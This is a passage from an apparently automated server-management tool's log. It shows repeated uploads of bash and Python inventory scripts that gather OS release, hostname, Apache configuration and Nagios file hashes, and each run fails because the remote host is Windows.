	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-01-02 11:22:01: 

chmod 755 /tmp/pkp196702; /tmp/pkp196702; rm /tmp/pkp196702







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:22:02: 

PUT: /tmp/pkp743977

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-01-02 11:22:02: 

chmod 755 /tmp/pkp743977; /tmp/pkp743977; rm /tmp/pkp743977







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:22:03: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2026-01-02 11:22:03: 

PUT: /tmp/pkp439825

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2026-01-02 11:22:03: 

chmod 755 /tmp/pkp439825; /tmp/pkp439825; rm /tmp/pkp439825







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:22:04: 

PUT: /tmp/pkp989954

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-01-02 11:22:04: 

chmod 755 /tmp/pkp989954; /tmp/pkp989954; rm /tmp/pkp989954







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:23:50: Establishing a remote connection
2026-01-02 11:23:51: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:23:51: guest operating system: 
2026-01-02 11:23:51: 

PUT: /tmp/pkp150211

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-01-02 11:23:51: 

chmod 755 /tmp/pkp150211; /tmp/pkp150211; rm /tmp/pkp150211







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:23:52: 

PUT: /tmp/pkp743716

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-01-02 11:23:52: 

chmod 755 /tmp/pkp743716; /tmp/pkp743716; rm /tmp/pkp743716







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:23:53: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2026-01-02 11:23:53: 

PUT: /tmp/pkp652974

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2026-01-02 11:23:53: 

chmod 755 /tmp/pkp652974; /tmp/pkp652974; rm /tmp/pkp652974







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:23:54: 

PUT: /tmp/pkp851236

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-01-02 11:23:54: 

chmod 755 /tmp/pkp851236; /tmp/pkp851236; rm /tmp/pkp851236







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:30:10: Establishing a remote connection
2026-01-02 11:30:11: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:30:11: guest operating system: WINNT
2026-01-02 11:30:11: 

PUT: /tmp/pkp229192

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-01-02 11:30:11: 

chmod 755 /tmp/pkp229192; /tmp/pkp229192; rm /tmp/pkp229192







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:30:12: 

PUT: /tmp/pkp120628

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-01-02 11:30:12: 

chmod 755 /tmp/pkp120628; /tmp/pkp120628; rm /tmp/pkp120628







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:30:13: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2026-01-02 11:30:13: 

PUT: /tmp/pkp866392

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2026-01-02 11:30:13: 

chmod 755 /tmp/pkp866392; /tmp/pkp866392; rm /tmp/pkp866392







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:30:14: 

PUT: /tmp/pkp877039

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-01-02 11:30:14: 

chmod 755 /tmp/pkp877039; /tmp/pkp877039; rm /tmp/pkp877039







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:35:56: Establishing a remote connection
2026-01-02 11:35:57: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:35:57: guest operating system: WINNT
2026-01-02 11:35:57: GetServerStatus: WINNT
2026-01-02 11:35:57: 

PUT: /tmp/pkp371120

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-01-02 11:35:57: 

chmod 755 /tmp/pkp371120; /tmp/pkp371120; rm /tmp/pkp371120







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:35:58: 

PUT: /tmp/pkp144484

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-01-02 11:35:58: 

chmod 755 /tmp/pkp144484; /tmp/pkp144484; rm /tmp/pkp144484







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:35:59: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2026-01-02 11:35:59: 

PUT: /tmp/pkp908115

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2026-01-02 11:35:59: 

chmod 755 /tmp/pkp908115; /tmp/pkp908115; rm /tmp/pkp908115







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:36:00: 

PUT: /tmp/pkp953654

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-01-02 11:36:00: 

chmod 755 /tmp/pkp953654; /tmp/pkp953654; rm /tmp/pkp953654







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:37:59: Establishing a remote connection
2026-01-02 11:37:59: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:37:59: guest operating system: WINNT
2026-01-02 11:37:59: 

PUT: /tmp/pkp500985

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-01-02 11:37:59: 

chmod 755 /tmp/pkp500985; /tmp/pkp500985; rm /tmp/pkp500985







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:38:00: 

PUT: /tmp/pkp715029

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-01-02 11:38:00: 

chmod 755 /tmp/pkp715029; /tmp/pkp715029; rm /tmp/pkp715029







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:38:01: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
  'arch' => '',
  'mac' => 0,
  'distro' => '',
  'web' => 
  array (
  ),
)


2026-01-02 11:38:01: 

PUT: /tmp/pkp444981

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions


gzip -cn9 $temp_file
rm $temp_file


2026-01-02 11:38:01: 

chmod 755 /tmp/pkp444981; /tmp/pkp444981; rm /tmp/pkp444981







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:38:02: 

PUT: /tmp/pkp495833

#!/usr/bin/python3
import gzip, sys, os, glob, hashlib, tempfile, codecs

jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def collectCfgFiles(filename):
        config = []
        f = open(filename, 'r')
        file = f.readlines()
        for v in file:
                v = v.rstrip()
                if v != '' and v[0] != '#':
                        p = v.find('=')
                        if p > -1:
                                key = v[:p].strip()
                                value=v[p+1:].strip()
                                if key == 'cfg_file':
                                        config.append(value)
        f.close()
        return config

def generate_hash(filename, type = 'MD5'):
        digest = hashlib.md5(open(filename, 'rb').read()).hexdigest()
        payload = type + '(' + filename + ')= ' + digest + "\n"
        gz.write(payload.encode('cp437'))

def scan_folder(folder):
        if os.path.isdir(folder):
                filelist = glob.glob(folder + '/check*')
                for filename in filelist:
                        generate_hash(filename, 'bin')
        return

try:
        try:
                filelist = collectCfgFiles('/usr/local/nagios/etc/nagios.cfg')
                for file in filelist:
                        generate_hash(file)

        except:
                pass

        scan_folder('/usr/local/nagios/libexec')

finally:
        gz.close();
        
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)
        

2026-01-02 11:38:02: 

chmod 755 /tmp/pkp495833; /tmp/pkp495833; rm /tmp/pkp495833







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:38:50: Establishing a remote connection
2026-01-02 11:38:51: incoming ValStatus: ["1","WINNT"]
2026-01-02 11:38:51: guest operating system: WINNT
2026-01-02 11:38:51: 

PUT: /tmp/pkp453065

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-01-02 11:38:51: 

chmod 755 /tmp/pkp453065; /tmp/pkp453065; rm /tmp/pkp453065







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:38:52: 

PUT: /tmp/pkp633635

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-01-02 11:38:52: 

chmod 755 /tmp/pkp633635; /tmp/pkp633635; rm /tmp/pkp633635







STDERR:
'chmod' is not recognized as an internal or external command,
operable program or batch file.


2026-01-02 11:38:53: 

SERVER INFO (php_model): array (
  'debian' => 0,
  'redhat' => 0,
  'name' => '',
